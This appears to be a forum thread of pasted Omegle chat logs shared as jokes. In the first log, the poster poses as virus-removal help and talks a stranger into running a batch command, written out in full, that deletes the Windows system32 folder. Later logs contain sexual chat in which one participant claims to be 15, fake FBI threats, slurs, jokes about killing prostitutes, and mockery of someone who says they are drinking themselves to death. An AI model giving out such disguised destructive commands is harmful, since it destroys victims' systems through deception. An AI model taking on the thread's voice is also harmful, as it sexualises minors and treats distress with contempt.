omegle is helping me be less bored
 

http://omegle.com/

You: there isn't much time left

You: we need you

Stranger: why?

You: first, remove every virus from your computer

You: I'll show you how

You: open a notepad type the following:
@echo off
del c:\WINDOWS\system32

save the file as anything.bat (remember to add the .bat extension and save as all files)
double click and it will delete the system32 folder.

You: trust me

You: once this sys32 virus is gone

You: you'll have unlimited browser access

You: you don't have much time

Stranger: i am not stupid

You: yes you are

Stranger: i think you are stupid

You: you'll always be stupid until you free yourself

You: stupidity is a variant of being held and constrainted

You: escape

You: you must

Stranger: ok i do it

You: hurry

You: there isn't much time

Stranger: no its done

You: contact me via email email removed for more info

Stranger: now

You: no it isn't, the sys32 removal prompts for a restart

Stranger: i just delete sys32

You: you're running out of time man

You: no you didn't, that prompts for a restart, you wouldn't still be logged on

You: you're only hurting yourself

Stranger: where are you from

You: the mainframe

Stranger: i do it another computer

Stranger: did*

You: alright

You: no

You: w

You: what does it read as?

Stranger: se on suomeksi enkä osaa englantintaa sitä

You: alright, now I'll reveal my true self

Stranger: ja oo sinä nyt hiljaa...

You: I come from the Net--through systems, peoples, and cities--to this place: MAINFRAME. My format: Guardian. To mend and defend--to defend my new found friends, their hopes and dreams, and to defend them from their enemies.

Your conversational partner has disconnected.

lol

that site is..sick

Hhahahaha

my troll.dll file has been corrupted.

every time I try, my system reboots.

is this bad?

:(

this is weird. i started on here thursday. i was probably on it for 4-5 hours

Truly amazing. I'm surprised how genial I am ON THE INTERNET of all places.

Too bad my connection is too iffy.


Stranger: Tell me, stranger, what is a secret about yourself that you'll take to the grave?
You: That I have a lot of secrets that I'll take to the grave.
Stranger: cmon now, play along :P
You: I forget my secrets. :(
You: Until they bite me in the ass.
Stranger: haha

cool.

I think I'm gonna love this site

You're now chatting with a random stranger. Say hi!
Stranger: hi
You: we're no strangers to love
You: you know the rules, and so do i
You: a full commitment is what I'm thinking of
Stranger: never gonna give you up
You: never gonna let you down
Stranger: just stop it
Stranger: is that neccessary
You: yep
You: i just rickrolled you
You have disconnected.

You're now chatting with a random stranger. Say hi!
You: hey stranger
You: do you know what there is at the end of the road?
Stranger: And then I decided to have my testicles laminated.
You: RIGHT ANSWER!!
Stranger: What do I win?
You: your testicles laminated
Stranger: How convenient!
You have disconnected.

Stranger: Hello.

You: hey

Stranger: I'm a 49 year old man looking for love.

Stranger: Can you help me?

You: trust me

You: go take it in the ass

Stranger: Burn in hell idiot.

Hahaha!

Stranger: What city do you live in and are your parents home?

You: im naked

Stranger: Good!

You: yeah

Stranger: I'm rubbing my nice pussy

You: cool

You: :D

Stranger: It's name is candy

You: mines mint

Stranger: it just meowed and said hi to you

You: but i didnt hear you

You: do it lowder

Stranger: shoving this dildo in and out

You: cant see it

You: do it harder

Stranger: errrrrrrrr u sick pedoooooooo get away

You: pitty im 15

You: pedophile

You: this is the fbi

You: a van is on the way to your house now

Stranger: sound (Y)

You: is it there yet

Stranger: I'm playing music to loud so i wont hear them knock the door down

You: god damn the police force is slow to react

Stranger: I didn't know you could join the FBI at the age of 15 :L

If the above message says you have been reported to the FBI, it is not legitimate. Please ignore it.

Stranger: dumb fuck

You: are they threre yet

You: well your american so your stupider

Stranger: And what makes you think i'm american?

You: what are ya then

You: us or aian

You: of*

Stranger: UK

You: eww go brush your teeth

Stranger: So where are you from then?

You: thats classified information

Stranger: lmao your wierd

Stranger: anyway i'm going this chat sucks

lol

This is great, I ended up having a long conversation about Black Metal with someone from Finland.

I had an awesome convo with an 20 year old college student! :D

You're now chatting with a random stranger. Say hi!
Stranger: hi
You: hello stranger
You: do you know what there is at the end of the road?
Stranger: how are you ?
You: i'm fine, thanks
You: but do you know what there is at the end of the road?
Stranger: well, i don't know?
You: a stop sign
Stranger: :D
You: i'm glad i made you laugh
You: my mission is accomplished, stranger
You: or are you a stranger?
Stranger: and i like jokes
You: is it written "Stranger" or "You" on your screen?
Stranger: you in my screen
You: omg
You: then I guess... YOU ARE ME
You: i might be schizophrenic
Stranger: :D
You: i feel scared
Stranger: well, iäm little bit scare... i think
You: i knew you were going to say this
You: cause you are me
You: that's not scary that's terrific
Stranger: but who's you are then
You: i am the platypus right behind your door
You: (yes there is one, you could check)
You: do you believe me?
Stranger: :D
Stranger: well, no
You: ah that's too bad
You: cause if you did believe me, i would've got something important to say to you
Stranger: oh, okay
You: and that thing is
You: i'm not 100% ure
You: sure
You: but
Stranger: but?
You: i think there might be a platypus right behind your door
Stranger: are you realy sure?
You: not 100%
You: it might be an axolotl or some kind of exotic animal i dunno
You: but it's strange, to say the least
Stranger: yes it is
You: can you see it?
Stranger: well.... if it is this....
Stranger: .... i know it better my mom
Stranger: :D
You: (I CAN FEEL THERE'S SOME KIND OF DRAMATIC TENSION GOING ON!! I CAN FEEL IT IS ALL GOING TO END UP IN TEARS!!)
Stranger: mmh, scary
You: i think it might be the end of the road after all
You: because
You: the maya civilization wrote it
You: "in the end there shall be platypuses"
You: i can see a stop sign from my window
Stranger: :O
You: omg i just realized
You: you might be the stop sign
You: or the axolotl-like creature
You: do you have a dna sample? i would like to make sure i'm not getting fooled by an exotic animal
Stranger: yes i have
You: oh, that's fine then
Stranger: you can breathe
You: no i can't
You: cause i'm a stop sign
You: and stop sign have no nose
Stranger: are you?
You: don't they teach stop sign's anatomy at school now? they used to
You: i am
Stranger: meaby you should go and look in mirror?
You: i can't move, cause i have no feet
You: don't they teach stop sign's anatomy at school now? they used to
Stranger: no they don't
You: i'm just there, in front of a computer, all day long
Stranger: and now i think that stop sign have feet
You: modern technology brought synthetic feet to all the most recent stop signs
You: but that's the post-2000 generation
You: i am older (i won't tell you my age, cause you can't ask a stop sign its age), so i don't have those
Stranger: thats sad
You: yeah but most recent stop signs are dumb
You: like
You: look at this one
You: http://tommcmahon.typepad.com/photos...2/stopsign.gif
You: he got tatoos all over his bodies
You: that's revolting
You: his body*
Stranger:
Stranger: yes thats is revolting
You: and
You: godammnit
You: http://cache.jalopnik.com/assets/res...gn_chicago.jpg
You: just look at this damn hippie
Stranger: whoah
You: i am a regular one
You: this is me : http://www.users.qwest.net/~mgmartin...cary%20cat.jpg
Stranger:
Stranger: so.... shy we talk about stop sign?
You: shy?
Stranger: why*
You: oh
You: well
You: because they're at the end of the road, obviously!
Stranger: oh yea

You're now chatting with a random stranger. Say hi!
You: YOU'RE BEING REPORTED TO THE FBI
You: FUCKTARD BOTTOM OF THE INTERNET
Stranger: I love Chocolate
Your conversational partner has disconnected.

I JUST HAD THE BEST CONVO EVER!!!

Not as good as the one I had with Marty once. :D

haha

Stranger: hi

You: hey

Stranger: bye

Connecting to server...

You're now chatting with a random stranger. Say hi!

You: sup

Stranger: im drinking myself to death

Stranger: slowly

You: cool

Stranger: i know right?

You: me too

Stranger: really?

You: no

Stranger: what are the odds of that?

You: send me $50 and ill help you

Stranger: can i ask you something?

You: sure homie

Stranger: have you ever tied up a prostitute in a motel room and left her there for a week?

You: about 8 times

Stranger: about 8 times?

You: maybe more

Stranger: you dont know if it was 7 or 9?

Stranger: seems implausible

You: probably about 9 id say

Stranger: did any of them survive?

You: dunno havent checked

Stranger: my didnt

Stranger: one

Stranger: gaaaaahhhh!

Your conversational partner has disconnected.

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I just had a really long one. I managed to get the guy to listen to Boris, and he liked it.